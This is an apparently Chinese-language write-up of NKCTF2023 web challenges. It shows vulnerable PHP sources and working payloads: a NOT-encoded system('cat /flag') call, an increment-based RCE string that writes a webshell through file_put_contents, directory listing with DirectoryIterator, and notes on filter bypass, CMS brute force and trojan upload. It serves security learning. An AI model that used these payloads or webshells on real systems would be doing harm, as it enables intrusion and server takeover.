NKCTF2023

可以说比赛真的是一年比一年难了555

baby_php | SV

  1. 新生赛水平的pop链了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    <?php
    error_reporting(0);
    class Welcome{
    public $name;
    public $arg = 'oww!man!!';
    public function __construct(){
    $this->name = 'ItS SO CREAZY';
    }
    public function __destruct(){
    if($this->name == 'welcome_to_NKCTF'){
    echo $this->arg; //此处可调用__toString
    }
    }
    }

    function waf($string){
    if(preg_match('/f|l|a|g|\*|\?/i', $string)){
    die("you are bad");
    }
    }
    class Happy{
    public $shell;
    public $cmd;
    public function __invoke(){
    $shell = $this->shell;
    $cmd = $this->cmd;
    waf($cmd);
    eval($shell($cmd));
    }
    }
    class Hell0{
    public $func;
    public function __toString(){
    $function = $this->func;
    $function(); //此处可调用__invoke
    }
    }

    if(isset($_GET['p'])){
    unserialize($_GET['p']);
    }else{
    highlight_file(__FILE__);
    }
    ?>
  2. 最主要的就是绕过命令执行了

    1. 命令替换也可以: ls -> dir
    2. 编码绕过: ascii, hex, urlencode绕过(base被ban了)
    3. 通配符绕过: 命令执行可以[a-z]这样来解决,也是通配符,没搞干净hhh

不具体写了,过

easy_php | SV

  1. 还是有源码,简单的php特性绕过

    1. cmd=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
     <?php 
    highlight_file(__FILE__);
    error_reporting(0);
    if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])){// md5弱类型比较
    if((string)$_POST['c'] != (string)$_POST['d'] && sha1($_POST['c']) === sha1($_POST['d'])){ // sha1强等于
    if($_GET['e'] != 114514 && intval($_GET['e']) == 114514){ // intval()函数特性
    if(isset($_GET['NS_CTF.go'])){ //非法传参 [解析为_使后面的.不转换为_
    if(isset($_POST['cmd'])){
    if(!preg_match('/[0-9a-zA-Z]/i', $_POST['cmd'])){ //取反或异或
    eval($_POST['cmd']);
    }else{
    die('error!!!!!!');
    }
    }else{
    die('error!!!!!');
    }
    }else{
    die('error!!!!');
    }
    }else{
    die('error!!!');
    }
    }else{
    die('error!!');
    }
    }else{
    die('error!');
    }
    ?>

hard_php | SV

  1. 超级极限rce

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <?php
    // not only ++
    error_reporting(0);
    highlight_file(__FILE__);

    if (isset($_POST['NKCTF'])) {
    $NK = $_POST['NKCTF'];
    if (is_string($NK)) {
    if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$NK) && strlen($NK) < 105){
    eval($NK);
    }else{
    echo("hacker!!!");
    }
    }else{
    phpinfo();
    }
    }
    ?>
  2. 自增吧?ctfshow的大挑战,有的兄弟有的[https://ctf-show.feishu.cn/docx/ToiJd70SboRn52xhn3WcJsfjnah]+**外部传参可以减少长度**: NKCTF=$_=(_/_._)[___];$__=++$_;$_____=++$_.$__;++$_/++$_;$_=_.$_____.=++$_.++$_;$$_[_]($$_[__],$$_[___]);&_=file_put_contents&__=1.php&___=<?php eval($_GET[1]);

    1. 写入shell
    2. 原生类列目录读文件,学到了
    1
    $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}`//扫描根目录

easy_pms | SV

禅道cms

  1. cms老朋友了,找对应版本漏洞[http://www.360doc.com/content/12/0121/07/77981587_1066789891.shtml]打前台rce即可
  2. 一行回显: 用base64编码base64 -w 0读(尝试去除换行符,可能需要预先编码)

easy_cms | SV

  1. cms,尝试访问后台,弱密码/爆破
  2. 进入后台来到文件式管理器这里,发现可以上传和新建文件,想到上传木马,先知道
  3. 这里有对内容进行过滤 => 绕过大部分基于匹配,无字母啥的过一下,ok

webpagetest | SV

  1. 也是打的cve类

xiaopi | SV

phpstudy xss + csrf组合拳rce + 登录入口绕过,有点意思

  1. 但是也是历史漏洞,这种成熟的一般都是历史漏洞[https://www.cnblogs.com/V3g3t4ble/p/17092158.html]

ref

  1. 部分web题仓库
  2. c1oudfl0w0,大佬青涩的样子(
  3. V3g3t4ble
  4. wp1
  5. wp2